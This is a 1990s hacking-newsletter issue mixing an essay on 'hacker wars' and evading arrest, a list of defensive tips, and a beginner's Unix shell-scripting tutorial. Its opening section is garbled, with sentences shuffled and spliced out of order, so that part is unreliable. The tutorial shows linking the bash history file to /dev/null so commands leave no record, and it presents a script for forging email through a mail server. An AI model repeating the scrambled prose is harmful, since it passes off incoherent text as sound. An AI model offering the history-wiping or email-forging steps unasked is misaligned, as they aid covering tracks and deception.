wipe out your identity. But there are people out there with the technology to restore deleted files -. writing guides to hacking full of f***ups.or years. count up the cost. too. I’m not talented enough to teach you how to keep from getting caught.even files that have been overwritten hundred of times. Even the kind of war that attempts to steal all you own. you should report it and any associated computer attacks.” I agree with jericho. So just how do you get into a hacker war? The easiest way is to attend a hacker convention.” He makes a big deal about how hackers can keep from getting busted by deleting or modifying log files.NOT! So you want to be the attacker in a hacker war? So you think you can keep from getting caught? According to jericho. writing in his “F***ed Up College Kids” ezine. those of us hackers who are not computer criminals cooperate enthusiastically with law enforcement. “He said. They can restore them regardless of operating system. Like sending an ambulance that could save a dying child to the home of an Internet freedom fighter instead. However. The excitement! The opportunity to go mano a mano with bad dudes and prove you are better than them! There is some truth to this view. I’ll tell you exactly why. or.using legal tactics. kind of like the bar scene in Star Wars. I close the doors behind me. worse yet. or even worse yet. no one can teach you how to keep from getting caught. of course. you can be in for lots of excitement. In fact. I get a thrill fighting those criminals -. but not giving them enough information to adequately protect themselves. not even rumors. Despite what you may hear. jericho boasted “When I break in. But before you start provoking attacks. There are all sorts of twisted people at these things. You’ll find plenty of things in the next Guides in this series that will help you survive even the most determined hacker war. So if you want to attract a hacker war. Believe me. But I’ve stood up to them. you will hear about it. I know those people.” If you fail to grovel and suck up to those d00dz. “You have media whores like Carolyn Meinel trying to teach people to hack. of any hacker war murders. he doesn’t like the way you look. There are people out there who can extract everything that has been on a hard disk for the last several months -. But before you make the decision to join us freedom fighters. Not! Let me tell you the REAL story about what happens when hackers think they are covering their tracks. Right. It isn't always fun. shoot. and threaten the lives of your family. so you can learn how to repair your credit rating and recover from other digital disasters. I arrange for them to read those hard disks.Newbie note: In case you are wondering whether you can get killed in one of these battles. And. At a Def Con V panel I hosted (Las Vegas. and believe you are as tough or tougher than me. Many newbie hackers long for my frequent experiences of being attacked by a talented gang of computer criminals. ********************************************************* How to Get into a Hacker War “I want to fight in a hacker war. Sure. if we catch the Succeed. Yeah. please wait for me to get out the next two parts of this Information Warfare series.net attackers. July 1997). Telling these people what to do. How to Keep from Getting Caught -. an ordinary sysadmin can’t restore a deleted file on a Unix system. To be honest. if someone should threaten to kill you. Guess who’s toast:):):) . I’m just an old lady. make fun of them for being cybernazis. be my guest. tell them firmly that you favor freedom of speech. if you decide to become a computer criminal in a hacker war. I have found no reports. These guys only kill people by accident as a side effect of their digital mayhem. How do I get in?” I get email like this all the time.

please contact me anonymously using my pgp key: -----BEGIN PGP PUBLIC KEY BLOCK----Version: PGP for Personal Privacy 5. Soon. Commit one easy-to-prove federal felony.can you say “prisoners’ dilemma. Or picking up the signals that run down the power cord of your computer. Or make the decision to obtain their “get out of jail free” cards by informing on their gang before their day of doom comes up. OK. But their days of freedom are numbered. and who will give evidence against whom.” It’s just a matter of time. let’s say posting someone’s stolen email on one’s public ftp server (who do we know who has done this?). So even if I wanted to help people become ubercriminals. Time to study game theory -.” wannabe ubercriminals? Who’s the narc? “But. I predict the Succeed. Not because I don’t know how. I can’t. They need to go straight before their number is up. luser. They have much better bargaining power if they make a deal before arrest. and would like help making a deal with the authorities. But .Then there is surveillance.” I can hear the Super Duper computer criminals sputtering. someone is sitting in a van a hundred yards away -. It is only a matter of picking which of their many crimes will hold up best in court. Some 31337 haxor is sitting at his box raising hell and “closing doors after him. but he was lame. “My buddies and I break the law all the time and we’ve never been busted.0 mQENAzRWYacAAAEIALYjWhzd8qO/MteFrb2p9SsY5GHdFAxT7R1M4X/jt5Nd/VKR qCJoS4F/kQ6NwsM/mopjd4yVunxvs4QUK7eZ5A2rZuEps4EadXwwBPI63RfHci5o BiXs9fGYtpTx7bv9dJE/Z9tved8s24asib06vLDqzyCFDXrRoYLO8PwEmifwWVWW OL+5Th45m6cirXuwi1Idjy66AZwt8ARFnns5FA5OCb82NW54RsFKbKR2u2wUfT72 rRJg0ICt/WtZdr2dBccXEgp1232s5rgwiRvqmGjMOruUDfU2nNHH3pOk8JrefIXl dwV0yjErb7wcecCFIrHfQKcxVoNXHlgJ6afePjcABRG0J0Nhcm9seW4gTWVpbmVs IDxjbWVpbmVsQHRlY2hicm9rZXIuY29tPokBFQMFEDRWYaceWAnpp94+NwEB9bsH /ilWgT2ix3B79UFfrjSE9EYCjKh1CWiIGMohdjjmV8Q3lSJIoikPtUZNak4lBTh/ wuD5ea0DZuoDe6i4EagBmRgTCvATXQqD74XtNSZSPhIQMOytJUJLlmuAnDEm96XS 30xguSFrXNjHYS19prE1yi2vQe/PJ7/K1QQwy725hjI5fnq4TnldxloaESNvurKh Mc3GwQWF1JmpaFup3+hrEwUxcQ2PJn3xkgcjKkj1x7emDIGLCgF1RIJDLM63Q5Ju bCqodumjX0pe8kHL3tRaDux+eAZ4ZD73HvF4lYi7QLKGDwX1Vv9fmbJH4tCqo3pq RBhG32XmkTuDe0EExdSET+w= =09hD -----END PGP PUBLIC KEY BLOCK----************************************************************ How to Protect yourself in a Hacker War What.net attackers are will wind up in jail. Ever heard of Tempest? Even if the cybercrime detective doesn’t have all this high-tech hardware on hand. the history of hacker crime shows that criminals will talk in exchange for lenient sentencing. The 31337 d00dz who tell you otherwise are seriously ignorant. my other buddy got busted. OK.” What he doesn’t know is that thanks to a court order inspired by his boasts. and the Feds have lots of bargaining power against him. Van Eck radiation. you don’t find getting caught up in a hacker war immensely entertaining? You don’t want to be the innocent bystander caught in the crossfire of an rm command? Here are a few rules that can help you.picking up every keystroke. but. Because there is no way. ******************************************************** If you happen to be a cybernazi who is having second thoughts. Perhaps not for that crime.

5) This applies to shell accounts: assume your attacker will get root control anyhow. you will become a programmer. unless protected by strong encryption. in this Guide you just might discover some new tricks that are lots of fun. But just running other people's programs is not hacking. since computer programs that do kewl stuph like break into or crash computers are available for download at those HacK3r Web sites with the animated flames and skulls and doom-laden organ music. these are only the most basic of protections. as well as how to catch the culprits. <Picture> Contents of Volume 5: Shell Programming _________________________________________________________ Guide to (mostly) Harmless Hacking Vol. 6) Pick a good password. It should be long. Best of all. many el1te haxor types claim they don't need to know how to program.remember. That means you should encrypt any files you don’t want to have passed around. 9) Assume anything is being sniffed. 5 Programmers' Series No. Top Ten Beginner Defenses in Hacker Wars 10) Backup. and should include numbers and/or characters such as !@#$%^&*. If you use a computer where others have physical access to it. It will take many of us to win the battle against those who want to pick and choose whose voices will be heard on the Internet. and send your shell history files to /dev/null each time you log out. so your password won’t do you any good. If you have never programmed in your life. And. GALF specializes in this tactic. Amazingly enough. use a MacOS web server. within minutes. never. I promise. not a name or a word from a dictionary. backup. don’t write your password on anything. ever telnet into your shell account. Don’t even *think* of using ActiveX or Internet Explorer. 4) Do you use the Pine or Elm email programs? Don’t keep email addresses in your shell account. Your saved mail files are a good place for cybernazis to find email addresses and send out threatening and obscene messages to them. the number one defense: 1) Join us Internet freedom fighters. And even if you are already a programmer. 3) Regularly patrol your Web site. We’ll cover the industrial-strength techniques in later Guides in this series. In fact.programming is easy. backup. 1: Shell Programming _________________________________________________________ Honest to gosh -. Use Secure Shell instead. Breaking into and . You never know when it may sprout rude body parts or naughty words. many people who call themselves hackers don't know how to program. 7) Never. Preferably use a Web server hosted on a computer system dedicated to nothing but Web sites. today. 8) Assume your phone is tapped. 2)Disable Java on your Web browser.

The instructor praised me in front of the class. I was hooked. I went on to write programs with enough length and complexity that debugging and verifying them gave me a feel for the reality of the Turing Machine Halting Problem theorem.and writing your own programs! ******************************************************** In this Guide you will learn: * Why should hackers learn how to program? * What is shell programming? * How to create and run scripts * Shell scripts on the fly * Slightly stealthy scripts * Examples of fun hacker scripts Plus. ******************************************************* Why Should Hackers Learn How to Program? Back in 1971. Real hacking is exploring and discovering -. I discovered you don't have to be a genius to become a professional programmer. files. You just have to enjoy it enough to work hard at it. someone who wasn't afraid to try unusual things to save memory (a scarce resource on even the biggest computers of the 1970s) or cut CPU cycles. I was as nontechnical as they come. when I was 24. "You're going to learn how to program. Keith Henson. in the evil genius tips." He insisted that I sign up for a course in Fortran at the University of Arizona. But my husband at the time. you will learn how to: * Talk about the Turning Machine Halting Problem Theorem as if you are some sort of forking genius * Find instructions on how to create deadly viruses * Set your favorite editor as default in Pine * Link your bash history file to dev/null * Keep simple Trojans from executing in your account * Save yourself from totally messing up your . . and to give an error message when it found them. ****************************************************** Evil Genius tip: The Turing Machine Halting Problem theorem says that it is impossible to thoroughly debug -. he announced.bashrc etc. The first class assignment was to sit at a punch card machine and bang out a program for the CDC 6400 that would sort a list of words alphabetically. So one June morning. H. It was so fun that I added code to detect input of characters that weren't in the alphabet. enjoy it enough to dream about it and fantasize and play with programming in your mind even when you aren't in front of a keyboard.or even explore -. saying I was the only one who had coded an extra feature.crashing other people's computers is not hacking. tired of me looking dazed when he came home babbling excitedly about his latest feat.an arbitrary computer ." "buffer out" and assembly language stuff. was always talking about "buffer in. and a hacker in the pure sense. Keith was one of the earliest of hackers.tcshrc.

lonestar. Lonestar doesn't allow you to telnet out.or programs to fight them! You can order it from http://www. (Note: if you are in a different directory from myfile.org. this means that it super hard to make a computer network totally secure. you are already familiar with many fun Unix commands. But if you aspire to become a true hacker. you may have already done something similar to shell programming: DOS batch files." For example.bat. and that it will never be possible to write an antivirus program that can protect against all conceivable viruses. American Eagle Publications. For a full service shell account. Kode kiddies who think breaking into computers and typing f*** every third word while on IRC are not hackers.com. you are a real hacker. and reach for the stars with your code. which you can run in your shell account by typing in only one line. You can get one for free at http://sdf.amazon.an operating system that was created long before DOS -." Then any time you want to run it. you either have to tell your computer where to look for it with a "path" command. Mark Ludwig. Then you save it as a file with permissions that make it executable. For a more rigorous treatment of the Turing Machine Halting Problem theorem -.") Unix -.can do something very similar to a DOS batch file. or by typing in the entire path. ************************************************** If you are familiar with DOS. Yes! They have ssh logins! For details on how to use a shell account and instructions on lots of fun Unix commands. . If you are driven to do more and greater things than your job or school asks of you. But it is the most electrifying computer manual I have ever read!!!! ******************************************************** That is the heart of the hacker spirit.yet written in language a non-mathematician can understand -. They are small-time punks and vandals.html. you can write a shell script that automatically executes that sequence. What Is Shell Programming? If you have been following the earlier Guides to (mostly) Harmless Hacking (GTMHH).read the "Giant Black Book of Computer Viruses" by Dr. The basic idea is that you write a series of DOS commands and save them with a file that ends with the extension "bat. for example "c:\myprograms\myfile.bat. you might name your batch file "myfile. This book will also teach you how to write the most deadly viruses on the planet -.in order to fully appreciate this book. see the GTMHHs on shell accounts at http://techbroker. you just type "myfile" and it runs all the commands inside that file. check out http://rt66. you will become a programmer. Just set up a PPP connection and telnet into Lonestar for your Unix fun! However.com/happyhacker. **************************************************** Newbie note: Don't know what a shell account is? Unix leaves you scratching your head? You *must* have a shell account to learn shell programming.program. In practical terms. Warning-.com. Instead of typing Unix commands one by one every time you need them. you have to know assembly language for 80x86 CPUs. Shell programming is writing a file that holds a sequence of Unix commands.

Default is Pico. they would be two totally different commands. the commands "mkdir" and "MKDIR" do exactly the same thing. ******************************************************** Here's what your Pico screen should look like: UW PICO(tm) 2. then to Configure. "Permissions" mean what can be done by who with a file. In Unix. For example. We'll use the easiest one: Pico. for example "pico myfilename. Be absolutely careful in this lesson to type all commands in lower case (small) letters. they *are* easy. ******************************************************** Evil genius tip: If your shell account is half-way decent. *************************************************** But there is one huge difference between DOS and Unix commands.9 File: hackphile [ New file ] ^G Get Help ^O WriteOut ^R Read File ^Y Prev Pg ^K Cut Text ^C Cur Pos ^X Exit ^J Justify ^W Where is ^V Next Pg ^U UnCut Text^T To Spell .") This brings up a screen that looks a lot like the Pine email program's "compose mail" screen. you will have Pine and it will allow you to choose whatever editor you want for composing email. there are several ways to make them. open Pico with the name you like. Just go to the main menu on Pine.*************************************************** Newbie note: "Executable" doesn't mean the computer goes out and murders your poor file. then scroll down almost to the end of all the options. It means that when you type the name of that file. In DOS. you could set the permissions on your shell account file so that only someone in your account could execute it. you will keep in practice by using its editor. First." Put in your favorite editor! If you regularly use Pine to compose email. making it much easier to write programs. Honest.something you usually do with the files in your Web site. the computer looks inside and does what your file tells it to do." ("Hackfile" will be the name of the script you will create. But you may configure it to use other editors such as the far more powerful vi or emacs. At the prompt in your shell account. let's walk though the Pico way to create a simple script. So easy. then to Setup. Or you could make it so anyone in the world could run (execute) it -. or this stuff will not work. How to Create and Run a Script Why are we starting with shell script programming? The reason is that they are easy. If you don't like that name. 1) Open an editor program. so that anyone who surfs in may read them. simply type in "pico hackphile. There will be a line "editor = pico.

On other computers you might have to write a line in your shell script "#!/bin/bash" (or "#!/bin/tcsh" or "#!/bin/csh" etc. Groan." To learn more on how to use the number chmod commands. Besides these commands." Press "enter" and you will see on your screen: "I am a programmer and one heck of a hacker! Today I am going to forge email from Santa Claus. Hold down the control key while pressing "x." Pico will ask you if you want to save the file. huh? What that last echo command does is find the first word . To add permission to read and execute. depending on the path to whatever shell you are using) to make it work." Unless your change your mind." you could allow your group to execute it by typing "chmod g+rx filename" (g=group) or you could give everyone else execute permissions by typing "chmod o+rx filename" (o=other). Hit the "y" key to save. If you are in a Unix "group. ****************************************************** Newbie note: That "chmod" command sets permissions. use the command "man chmod.At the bottom is some fast help. and who can write it. 4) Next make it executable. just hit the "enter" key and you are done. a list of commonly used Pico commands. Damian Bates of Rt66 Internet points out that you could set the permissions so only you could execute that shell script by typing "chmod u+rx filename" (u=you). Any of these can be done in combination such as "chmod ug+rx filename (user and group can read and execute but not write) or "chmod g-rwx filename" If you hate typing all that stuff. but there are a lot of different kinds of Unix and Unix shells out there.arrow key if it works) ^p moves the cursor up (or use the up arrow key if it works) ^n moves the cursor down (or use the down arrow key if it works) ^t checks spelling 2) Write in some Unix commands. you can use numbers as in "chmod 700. Sorry to be so complicated on this instruction. you can do this by typing "chmod 700 hackphile. to everyone else." Pretty cool." ******************************************************* 5) Now type in: "hackphile forge email from Santa Claus. and only you read. but not write. It will ask you whether you want to save it with the name "hackphile. That "^" thingy means to hold down the control key while hitting the letter of the alphabet that follows. On most systems. use "chmod 755. who can read it. write and execute permission. some others that it helps to know for Pico are: ^e moves the cursor to the end of a line ^a moves the cursor to the beginning of a line ^d deletes a character ^f moves the cursor forward (or use the -> arrow key if it works) ^b moves the cursor backward (or use the <." On some computers the command "chmod +x hackphile" will work." which gives you. Making a file executable is only one of the many things that magical command does. Here are some fun ones: echo I am a programmer and one heck of a hacker! echo Today I am going to echo $1 $2 $3 $4 $5 $6 $7 $8 $9 3) Now exit Pico. It also controls who can execute it.

You now are running a mail program on foobar. and so on. 17920 Dec 26 17:56 . the second word in $2.1 cpm (snip) 3:01pm up 5 days. But help is on the way.1 cpm lrwxrwxrwx 1 cpm -rw-r--r-.you typed after the "hackphile" command. followed by a list of info on whoever else is also logged into shell accounts at the Unix box you use.1 cpm -rw------. this is where you learn the limitations of shell scripts. just type in the command "list. But if the next command in your shell script is "mail from: santa@north. which does not bring up the rest in your sequence of shell commands. 1.cshrc .bash_history -> /dev/null 1856 Oct 8 09:47 . 1. try the alternative ways to make it executable in 4) above. 0 Aug 27 08:07 .pole.) Now.com 25" and be ready to forge email.addressbook. try the "cat" command to create shell scripts. whenever you want to see everything you could ever want to see about your files." This will automatically end the "cat" command while saving the commands "ls -alK|more" and "w|more" in the file "list. Unfortunately. You can put in the command "telnet foobar." Then make it executable with the command: "chmod 700 list. which is held in the memory location $1.the stuff you type on the command line after the name of the script automatically goes into those memory locations! Now suppose you want a script to actually forge email from Santa Claus. More on these in later Guides.30. Here's an example of a useful one." This will give you something like: total 127 drwx-----x 8 cpm drwxr-xr-x985 root -rw------.lu 9 Oct 27 15:35 . The programming languages of Perl and C will do the job for you much more easily than a shell script. 9 users. you don't need to set up those dollar sign variables in advance -.com.. 6:48.08 User tty login@ idle JCPU PCPU what phill ttyp0 2:39pm 1 11 -csh 1536 Dec 28 14:37 . The problem is that you are no longer in your Unix shell. Unlike more sophisticated programming languages.87." (If chmod 700 doesn't work on your system." it just won't happen.com. Type in: cat > list ls -alK|more w|more Then hold down the control key while hitting the letter "d.addressbook 2285 Aug 27 08:07 . I promise! How about more fun ways to make shell scripts? Shell Scripts on the Fly In a rush? Do you always do things perfectly? If so. load average: 1.

bash_history has been linked to dev/null (dev/null means "device null" which is a fancy way of saying everything goes to bit heaven never to be seen again) since Oct. and yesterday they saw Elvis Presley at a grocery story." When you have two commands on either side of a pipe command.flattman ttyp1 2:27pm 4 kjherman ttyp2 1:13pm 1:43 cpm ttyp4 1:08pm 13 johnp ttyp5 Sat 6pm 1 1:29 kjherman ttyp6 1:15pm 1:43 kjherman ttyp8 1:16pm 1:43 momshop ttyp9 2:50pm 10 swit ttypa 9:56am 4:20 41 joy ttypc 3:00pm 2 1 4 tf telnet ftp." You will see that unlike that supposed bash history file of mine. here's two ways you can tell it was faked and they were seriously deficient in Unix knowledge. *************************************************** Slightly Stealthy Scripts . The guy who faked it didn't know this! Either that.fubar. The last set means anyone in the world may read. this is an advanced GTMHH.bash_history. and put that in to trick the people who would read it and flame me into revealing their ignorance. Simply give the command "ln -s /dev/null ~/. so all I'm going to tell you is to give the commands "man ls" and "man who" to find out all this stuff. write and execute. the stuff you type in during a "talk" session does not appear in the . OK. here's a little more help. write and execute this file. What does "lrwxrwxrwx 1 cpm 9 Oct 27 15:35 .com /bin/csh /usr/local/bin/cmenu /usr/local/bin/pine -csh -csh *************************************************** Newbie note: What does all that stuff mean? Sorry.bash_history. The second rwx means my group may also read. or he did know. get into it and use the "talk" command to chat with someone for awhile. The guys who got caught by this trick tried to get out of their embarrassing spot by claiming that a buffer overflow could make the contents of a talk session turn up in a bash history file. Then give the command "more .long before some sooper genius emailed around that fake file! Here's how you can make your bash history disappear. Yeah. *************************************************** *************************************************** Evil genius tip: In case you saw that supposed bash history file of mine some haxors were making phun of on some email lists.bash_history -> /dev/null" mean? "l" means it is a linked file. and haven't linked it yet to dev/null. OK. too bad. write. too. this makes the output of the command on the left hand side of the "|" pipe into the command on the right hand side. So "w|more" tells your computer to do the command "w" and pipe its output to the command "more." b) If you have the bash shell. 9. and execute this file." Then "more" displays the output on your monitor one screen at a time. and will always stay empty. I'm sorry. But since it's empty.com w 7 -tcsh telnet fubar. The first set of rwx's mean I (the owner of the account) may read.bash_history file. "bash_history -> dev/null? My . kode kiddies. a) See that funny notation above. The "|" means "pipe. 1997 -. waiting for you to hit the space bar before displaying the next screen.

" So it never ran. Make this script: cat > ." in your path. He asked dozens of attendees if they knew the "cat" command. conducted an informal poll. many people who break into computers are almost totally ignorant of Unix. put a period in front of the name. For example. his ls would execute instead and trash my account. *you* know at least one way to use "cat" now! Another example of haxor Unix cluelessness was a fellow who broke into my shell account and planted a Trojan named "ls. make sure it is the last one. and then send into that shell the commands of your script. unless you specify otherwise) to something more secure than 022. give the command "sh hackphile" (substituting for "hackphile" the name of whatever script you wish to execute). Then. Daniel.secretscript". But he forgot to give the command "chmod 700 ls. Then when you want to execute it. presuming he can even find that script in the first place./.Now suppose you are worried about really clueless kode kiddies getting into your shell account. First. call it ". . I personally use 077. Just leave it alone. use the commands "man chmod" and "man umask" to get all the gory details. For example. Never give group or other write access to your directory and be leery of what others can read." For your reading enjoyment. Set your umask (umask is the command that automatically set permissions on all files you create. don't give the "chmod 700" command. It will execute even though you never gave that chmod 700 command! What you have done with the "sh" command is launch a temporary new Unix shell. What that period does is make it a hidden file.lookeehere!: Permission denied That's what will stump the average kode kiddie. if a Trojan like ls is in your current directory. ****************************************************** Here are ways to make shell scripts that the average clueless person who breaks into a computer won't be able to run." His idea was that next time I looked at my files using the Unix ls command. ****************************************************** Evil genius tip: Damian advises "NEVER put '. Now try the command: ". when you name your script.' (the current working directory or cwd) in your path! If you really want ". He found that over half the people there had never even heard of it! Well. Believe it or not." After you make your script. Here's a cool example. Some kode kiddies don't know how to look for hidden files with the command "ls -a. at Def Con V a friend.lookeehere!" You should get back something that looks like: bash: .lookeehere! who|more netstat|more Remember to save this script by holding down the control key while hitting the letter "d". poor baby. the _real_ ls will be used first.

unc. Many sysadmins will help you out this way -. And in fact you really will.of course). and make it possible for you to do by giving just one command per cool stunt. for example. or talk your sysadmin into changing permissions on that file so you can execute it.edu/pub/Linux/welcome.Now try the command "sh .lookeehere!" All of a sudden you get screen after screen of really interesting stuff! Your Internet Service provider may have disabled some of the commands of this Guide. Either get a better shell account. ***************************************************** Evil genius tip: Your sysadmin won't let you run your favorite Unix commands? Don't grovel! Compile your own! Most ISPs don't mind if you keep and use your favorite Unix stuff in your own account. if you are a newbie. you have two choices.that is. For example. you could create a bunch of scripts and use them to make your friends think you have a special. a shell script can take a complex task such as impressing the heck out of your friends. Hey." If. (With the directory being 700 or drwx-----.login? Put a "#" in front of that command (and any other ones you want to put to sleep) and it won't execute when you login. they will help if when they check their syslog files they don't find evidence of you trying to break into or trash computers. Then if you decide you are sorry you turned it off. be in control of the most special. Neat trick: take your sysadmin to a fancy restaurant and wait to ask him for access to EVERY Unix command until after you have paid for his meal. or else make friends with tech support at your ISP as your try to explain why you accidentally mapped the letter "e" to mean "erase. if you mess up your shell account. you can make that command work with "/usr/bin/netstat" in your script. If you are a bit of a prankster. The beauty and power of Unix is that it is so easy to customize it to do anything and everything! Windows no! Unix yes! **************************************************** Evil Genius tip: Bring up the file ." or else "locate netstat. just remove the "#" and that command will work . no one's perfect!) For example.login. Says Damian. It controls lots of what happens in your shell account. Yes. If neither the whereis or locate commands find it for you. super duper operating system. give the command "whereis netstat." (I did that once. do you have to put up with some babysitter menu every time you log in? Do you see something that looks like "/usr/local/bin/menu" in . But you are a hacker.html ***************************************************** Now it's time to really think about what you can do with scripts. so you aren't afraid." Where can you get your own? Try http://sunsite. if the "netstat" command doesn't work.login in Pico. you were to find it in /usr/bin. honestly. you will force yourself to either learn Unix real fast so you can fix it again. Or it may have just hidden them in directories that you can get to if you know how to look for them. Want to edit it? You could totally screw up your account by changing . wonderful operating system on the planet. "I tend to keep my own binaries in ~/bin/ (My home directory slash bin) and put that in my path. right? Besides.

Check out his Web site at http://bofh. make the following alias in your . Their command lines should contain: mkdir .cshrc ~'.trash.trash/. now how about just cutting loose and playing with scripts? See what wonderful things you can do with them.org/damian.cshrc after creating your '.e.trash. right? And thanks to Damian Bates.rehash. in your pico of .trash'directory: alias backup 'cp \!$ ~/. she broke the law.again. she could never have gotten past our security. But I'm going to find her and see that she's prosecuted . just in case.cshrc.cshrc." ******************************************************* OK. Damian adds "Of great importance to newbies and a sign of great intelligence in advanced Unix gurus is backing up before you screw it up. Parental discretion advised:) "There is no way you're describing our system.trash' "When you next source the .trash. i. I don't recommend you 'source' the newly modified file because if it's screwed.cp . fix it or 'cp ~/. you just type 'backup filename' and it will be copied into the . pico .cshrc.trash directory in case you need it later.cshrc. for reviewing and contributing to this Guide. That's what being a hacker is all about. save the changes and then telnet in a second time to see if it works.chmod 700 . then you can 'source . "Modify the startup script. "Or. If it doesn't. great fan of the Bastard Operator from Hell. It's always best to keep one session untarnished.' in your first window to take advantage of the changes made... so are you.. and she's going to pay!" President of "Blah Blah Bank" -->>> Does anybody ELSE see a small discrepancy here ??????? .cshrc . If it works OK on your 2nd login.mysite.

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